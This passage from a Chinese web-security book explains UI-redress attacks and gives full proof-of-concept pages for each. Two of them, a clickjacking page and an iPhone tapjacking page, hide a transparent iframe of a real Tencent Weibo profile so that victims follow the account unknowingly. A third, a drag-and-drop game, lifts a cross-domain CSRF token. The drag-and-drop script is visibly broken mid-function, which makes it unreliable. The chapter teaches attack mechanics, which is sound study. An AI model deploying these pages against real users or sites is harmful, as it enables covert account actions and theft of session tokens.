5.3 界面操作劫持实例
本节将分别针对点击劫持、拖放劫持、触摸劫持给出真实的攻击实例。
5.3.1 点击劫持实例
我们已经对点击劫持原理做了详细分析,接下来给出一个真实的点击劫持攻击实例——腾讯微博“立即收听”按钮点击劫持攻击。这个攻击达到的效果是,用户在不知情的情况下收听某用户。
这里以微博http://t.qq.com/xisigr为例做一个实验,如果你没有收听这个账号,那么在你已登录腾讯微博的状态下浏览微博主页时,则会出现收听“立即收听”的按钮,如图5-2所示,可以看到“立即收听”这个按钮,而且链接http://t.qq.com/xisigr可以被iframe嵌套。
图5-2 腾讯微博:立即收听按钮
如图5-3所示,我们从逻辑上把嵌套的页面划分为4个部分,其中编号④的位置是我们要劫持的“立即收听”按钮控件,对于①、②、③编号的位置,我们会把它们屏蔽掉或伪装起来,这样才可以达到欺骗用户的效果。
图5-3 腾讯微博:分块
如图5-4所示,是伪装后的效果,我们在位置①的地方用一个视频覆盖,位置②、③用黑色背景层覆盖,位置③再加上一个伪装按钮。
图5-4 腾讯微博:加一个伪装按钮
位置④使用透明层,并在其下方放置一个伪装按钮Next。用户以为这是播放下一个影片的按钮。伪装全部设计好后的效果如图5-5所示。
图5-5 腾讯微博:完美伪装之后
当用户单击Next按钮观看下一个视频时,实际上是单击了腾讯微博的“收听按钮”,此时你就已经收听这个账号了,完整的代码如下:
<!doctype html> <html> <head> <title>Clickjacking</title> </head> <style> body{ margin:0; padding:0; } button{ background:#F0F0F0 repeat-x; padding-top:3px; border-top:1px solid #708090; border-right:1px solid #708090; border-bottom:1px solid #708090; border-left:1px solid #708090; width:60px; height:23px; font-size:10pt; cursor:hand; } .dd{ position:absolute; z-index:20; } #d1{ width:640px; height:360px; top:85px; left:300px; } #d2{ width:230px; height:23px; top:445px; left:300px; background:black; } #d3{ width:350px; height:23px; top:445px; left:590px; background:black; } #d4{ width:60px; height:23px; top:445px; left:530px; position:absolute; z-index:7; } #d5{ width:60px; height:23px; top:445px; left:590px; position:absolute; z-index:30; } #hidden{ height: 260px; width: 530px; top:200px; left:300px; overflow:hidden; position: absolute; filter: alpha(opacity=0); opacity:0; z-index:10; } </style> <body> <iframe id="hidden" src="http://t.qq.com/xisigr" scrolling="no"></iframe> <div class="dd" id="d1"> <video src="BigBuckBunny.mp4" controls="controls"preload="auto" > </div> <div class="dd" id="d2"></div> <div class="dd" id="d3"></div> <div id="d4"><button id="button_1">Next</button></div> <div id="d5"> <button id="button_1" onclick="alert('Please Wait')">Replay</button> </div> </body> </html>
5.3.2 拖放劫持实例
大家都知道,token一般在两个地方出现,第一个是在GET方法中作为URL的一个参数出现,如:
http://www.foo.com/token=wsopcwrt
第二个是在POST方法中,存在于隐藏的表单项中:
<input type="hidden" name="csrf_token" value="token_value"/>
接下来我们来玩一个小游戏,看看拖放劫持如何获取token。以下测试代码在IE和Firefox浏览器中运行正常。
模拟攻击场景如下。
A页面是存在token的页面,链接为http://192.168.10.101/Token.html,如图5-6所示。
图5-6 存在token的A页面
B页面是攻击者控制的页面,链接为http://192.168.10.100/DND.html,如图5-7所示。
图5-7 攻击者控制的B页面
现在我们开始玩这个游戏,按Ctrl+A组合键或滑动鼠标选中小球,然后把小球拖放到海豚的嘴上,如图5-8所示。完成后,我们就已经获取到了token数据,接着把获取到的token打印在页面上。
图5-8 拖动小球到海豚嘴上
下面分析是如何获取到token的。
A页面源代码如下:
<html> 11111111111111111111111111 <form method="POST"> <input type="hidden" name="csrf_token" value="0123456789"/> </form> <a href="https://passport.testa.com/?logout&token=0123456789">退出</a> 2222222222222222222222222 </html>
我们可以看到token的数值是0123456789。
B页面设计为:在小球的上面使用<iframe>标签加入隐藏层,用户单击小球后,按Ctrl+A组合键或滑动鼠标操作实际上是选择了隐藏层中的内容,这里就是http://192.168.10.101/ Token.html中的内容。在海豚的嘴上方使用<div>标签加入隐藏层。
完成拖放操作后,接下来进行跨域操作,诱惑用户把一个域中<iframe>的内容拖放到另一个域的<div>中。当操作成功后,会把拖动的数据打印在页面上。完整的代码如下:
<html> <head> <title> Drag and Drop Attack Demo </title> <style> .IFrame_hidden{ height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:180px; left:665px; border:1px solid black; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; } .Dolphin{ top:150px; left:600px; position: absolute; } .center{ margin-right: auto; margin-left: auto; vertical-align:middle; text-align:center; margin-top:350px; } </style> <script> function Init() { //添加监听 var source = document.getElementById("source"); var target = document.getElementById("target"); if (source.addEventListener) { target.addEventListener("drop", DumpInfo, false); } else { target.attachEvent("ondrop", DumpInfo); } } function entities(s) { var e = { '"': '"', '&': '&', '<': '<', '>': '>' }; return s.replace(/["&<>]/g, function(m) { return e[m]; }); } function DumpInfo(event) { showHide_ball.call(this); //地面上的小球消失 showHide_ball_1.call(this); //海豚嘴上的小球出现 if (event.dataTransfer.types) { //Firefox浏览器支持 var info = document.getElementById("info"); info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" + entities(event.dataTransfer.getData('text/html')) + "</span><br> "; //在页面上打印出获取到的数据 } else { //IE浏览器支持 setTimeout("html()", 10); } } function html() { document.getElementById('target').innerText = document.getElementById('target').innerHTML; var info = document.getElementById("info"); info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" + (document.getElementById('target').innerHTML) + "</span><br> "; //在页面上打印出获取到的数据 } function showHide_frame() { var IFrame_1 = document.getElementById("IFrame_1"); IFrame_1.style.opacity = this.checked ? "0.5": "0"; IFrame_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");" } function showHide_text() { var text_1 = document.getElementById("target"); text_1.style.opacity = this.checked ? "0.5": "0"; text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha (opacity=" + (this.checked ? "50": "0") + ");" } function showHide_ball() { var hide_ball = document.getElementById("hide_ball"); hide_ball.style.opacity = "0"; hide_ball.style.filter = "alpha(opacity=0)"; } function showHide_ball_1() { var hide_ball_1 = document.getElementById("hide_ball_1"); hide_ball_1.style.opacity = "1"; hide_ball_1.style.filter = "alpha(opacity=100)"; } function reload_text() { <img id="hide_ball_1" src=ball.png class="ball_1"> </div> <div> <div id="target" class="text_area_hidden" contenteditable="true"> test </div> </div> <div id="info"> </div> <center> 游戏规则:"Ctrl + A" 或滑动鼠标选中小球,然后把小球拖放到海豚的嘴上。 <br> </center> <br> <br> <div class="center"> <center> <center> <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call (this);" /> <label for="showHide_frame"> Show the jacked I--Frame </label> | <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" /> <label for="showHide_text"> Show the jacked Textarea </label> | <input type=button value="Replay" onclick="location.reload();reload_text();"> </center> <br> <br> <b> Design by <a target="_blank" href="http://hi.baidu.com/xisigr"> xisigr </a> </b> </center> </div> </body> </html>
对于页面B,美工可以进一步优化以诱导用户进行拖放操作。从功能上还可扩展,在这个例子中只是象征性地把获取到的数据打印在页面上,实际攻击中,可以直接把获取的数据进行上传并保存。
上述测试代码在IE 9.0和Firefox 8.0浏览器中运行正常,大家可以发现在Firefox浏览器中进行拖放的时候,浏览器会把拖放的内容以阴影的形式显示出来,这样欺骗起来就比较困难了,因为用户可以看到你拖放的实际内容是什么。而在IE 9.0中拖放的时候,只会出现一个小加号。可以看到发动拖放劫持攻击的难度还是比较高的,它需要有很多技巧和互动操作。一方面,攻击者要设计漂亮的网页;另一方面,攻击者要和用户有大量的互动,以诱导用户在网页上进行拖拽操作。
5.3.3 触屏劫持实例
在5.2.4节中,我们已经了解了IPhone手机的屏幕区域设计,也掌握了触屏劫持中要用到的技术要素。下面的触屏劫持实例仍以5.3.1节中的腾讯微博“立即收听”按钮为例进行介绍,不同的是,这里的操作环境在IPhone设备上。
如图5-9所示,大家看到后是不是以为这是IPhone手机的桌面,而且桌面上收到一条短信。如果你认为这是IPhone桌面,而且按照习惯去触摸回复或关闭这个按钮,那么你就已经被触屏劫持了。因为图5-9所示的是一个以IPhone桌面为背景的Web网页。当把网页保存为5.2.4节中提到的以桌面浏览器形式打开时,网页就支持全屏显示了,以这种形式呈现的网页更像是本地的原生态APP应用程序,使用
图5-9 伪装的IPhone背景+短信
图5-10 伪装的真相
完整的代码如下:
<html> <head> <title>iPhone Tapjacking Demo</title> <meta name="viewport" content="width=320; initial-scale=1;user-scalable=no;"/> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"/> <style> body{ margin:0; padding:0; } #hidden{ height: 260px; width: 300px; top:30px; overflow:hidden; position: absolute; filter: alpha(opacity=0); opacity:0; z-index:2; } #d1{ width:320px; height:480px; position:absolute; z-index:1; } </style> </head> <body> <img id="d1" src="spoof-1.png"> <iframe id="hidden" src="http://t.qq.com/xisigr" scrolling="no"></iframe> </body> </html>
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论